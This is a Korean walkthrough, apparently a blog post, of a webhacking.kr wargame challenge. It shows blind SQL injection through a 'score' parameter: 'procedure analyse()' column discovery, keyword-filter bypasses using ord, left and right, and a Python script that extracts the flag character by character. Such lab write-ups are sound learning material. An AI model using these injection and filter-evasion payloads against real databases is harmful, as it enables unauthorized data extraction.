문제에 접속하니 점수와 함께 초록모양의 아이콘이 있다.
마우스를 움직이면 점수가 쌓이면서 초록모양 아이콘이 마우스 방향으로 이동한다.
rank 링크를 눌러서 들어가보니 순위표가 나열되어있다.
하단을 확인해보니 위와 같은 php 코드가 보인다.
소스를 자세히 보면 insert 문 맨 오른쪽에 $flag 값이 있는 것을 확인 할 수 있다.
insert 문을 이용해 DB에 rank를 저장하는데 이때, flag값도 같이 저장하는 것 같다.
다시 돌아와서 순위표를 보면 score 부분에 하이퍼링크가 있어서 눌러보니 id 와 점수가 상단에 뜨는 것을 확인 할 수 있다.
추가적으로 URL 부분을 보니 score 파라미터를 이용해 점수를 보내서 상단에 정보를 출력하는 것을 알 수 있다.
이번에는 score 파라미터 값을 1로 보내보니 다른 유저의 id가 떴다.
이제 score 파라미터를 통해 sqli를 시도해서 flag값을 빼내보자!
select id from [table_name] where score=$score
우선 서버쪽의 sql 쿼리를 예측해봤다.
flag값을 알아내기 위해서는 우선 flag 값의 속성명부터 알아야하니 메타데이터에 접근해서 알아보자!
union 인젝션을 이용해 메타데이터에 접근하려했으나 select가 필터링에 걸려서 이 방법으로는 메타데이터에 접근할 수 없을 것 같다.
그렇다면 속성명을 알아내기 위한 방법은 하나이다.
지난번에 풀었던 53번 문제에서도 언급했던 procedure 함수를 이용하는 방법이다!
[webhacking.kr 풀이] - webhacking.kr 53번
저번에는 procedure analyse() 를 이용해 테이블의 이름을 알아냈었다.
이번에는 이것을 이용해서 속성명을 알아낼 것이다!
procedure analyse() 를 사용시 [DB명.테이블명.속성명]의 형태로 출력이 된다고 했었다.
1 limit 0,1 procedure analyse()
저번에는 테이블명을 알아내는 것이 목표였기 때문에 limit이 필요가 없었다.
하지만 이번에는 특정 속성명을 알아내야 하기 때문에 limit이 필요하다.
위 값을 score 파라미터로 전송해보자.
출력값을 [DB명.테이블명.속성명]이 나왔고 맨 뒤에 속성명으로 id가 나왔다.
그러나 우리가 필요한 속성명은 id가 아니다. 그렇다면 flag의 속성명은 어떻게 알아낼까?
아까 봤던 php 코드 사진을 보면 insert 문에서 데이터를 넣는 순서가 id , score , flag 순서임을 알 수 있다.
id가 1번째라면 flag는 3번째인 것이다.
1 limit 0,1 procedure analyse()
방금 보낸 페이로드를 보면 limit 0,1 인 것을 확인 할 수 있는데 이것의 의미는 0번째 인덱스부터 1개를 가져오라는 의미이다.
그렇다면 flag는 id보다 2번 더 뒤 임으로 2,1로 변경하면 flag의 속성명이 나올 것이다.
수정해서 값을 다시 전송해보자!
이번에는 id가 아닌 특이한 속성명이 나왔다.
이값이 flag 값의 속성명인 것 같다.
이제 이것을 이용해서 flag값을 구해보자.
if(length([속성명])like({i}),1,0)
(i는 flag 길이)
select를 이용할 수 없어서 if문을 이용해서 flag의 길이를 구하는 페이로드를 짜봤다.
flag의 길이가 i라면 if문이 참이되서 1이 반환되고 화면에는 score=1에 해당하는 id값이 뜰 것이다.
이것을 이용해서 길이부터 구해보자. (문제풀이 소스는 풀이 최하단에 제공했다.)
길이를 구해보니 31자리가 나왔다.
길이를 구했으니 이번에는 flag값을 구하는 페이로드를 짜보자.
if(ascii(substr([속성명],{i},1))like({j}),1,0)
이제 flag값을 구해보자!
값을 구하려고하니 이번에도 no hack이 떴다.
뭐 때문인지 확인해보니 ascii 와 substr 이였다.
ascii의 경우 ord로 우회할 수 있지만 substr의 경우 우회할 수 있는 방법이 안 떠올라서 난감했다...
다른 명령어로 우회하기 위해 sql 명령어에 대해 찾아보던중 substr()과 함께 문자열 자르는 함수인 right(), left() 라는 함수를 알아냈다.
간단하게 설명하면 right(str,i)는 str라는 문자열에서 맨 오른쪽 기준으로 i길이만큼 자르고
left(str,i)는 반대로 맨 왼쪽 기준으로 i길이만큼 자른다.
substr() 대신 left(), right() 이용해서 flag값을 구해보자!
값을 구하는 방법은 다음과 같다.
먼저 i번째 인덱스의 값을 구하고 싶다면 left(str,i)로 i만큼 문자열을 자르고 right(str,1)로 1만큼만 문자열을 자르면
최종적으로 str 문자열에서 i번째 인덱스의 문자만 남게된다.
ex) str="abcde"
left(str,3) ==> "abc"
right(left(str,3),1) ==> "c"
이 방법을 이용해서 페이로드를 짜보자.
if(ord(right(left([속성명],{i}),1))like({j}),1,0)
(i는 인덱스, j는 i번째 인덱스의 값)
ascii()의 경우 ord()로 우회했으며 나머지는 위에서 언급한 방법대로 짰다.
이제 페이로드를 완성했으니 flag값을 구해보자!
flag값이 구해졌다!!!!
클리어!!!
* 문제풀이 소스 *
from requests import *
leng=0
result=''
count=0
for i in range(40):
url=f'''https://webhacking.kr/challenge/web-31/rank.php?score=if(length([속성명])like({i}),1,0)'''
response=get(url=url)
if response.text.find('Piterpan') != -1:
print('flag 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'''https://webhacking.kr/challenge/web-31/rank.php?score=if(ord(right(left([속성명],{i}),1))like({j}),1,0)'''
response=get(url=url)
count+=1
if response.text.find('Piterpan') != -1:
result+=chr(j)
count=0
break
print('flag :',result)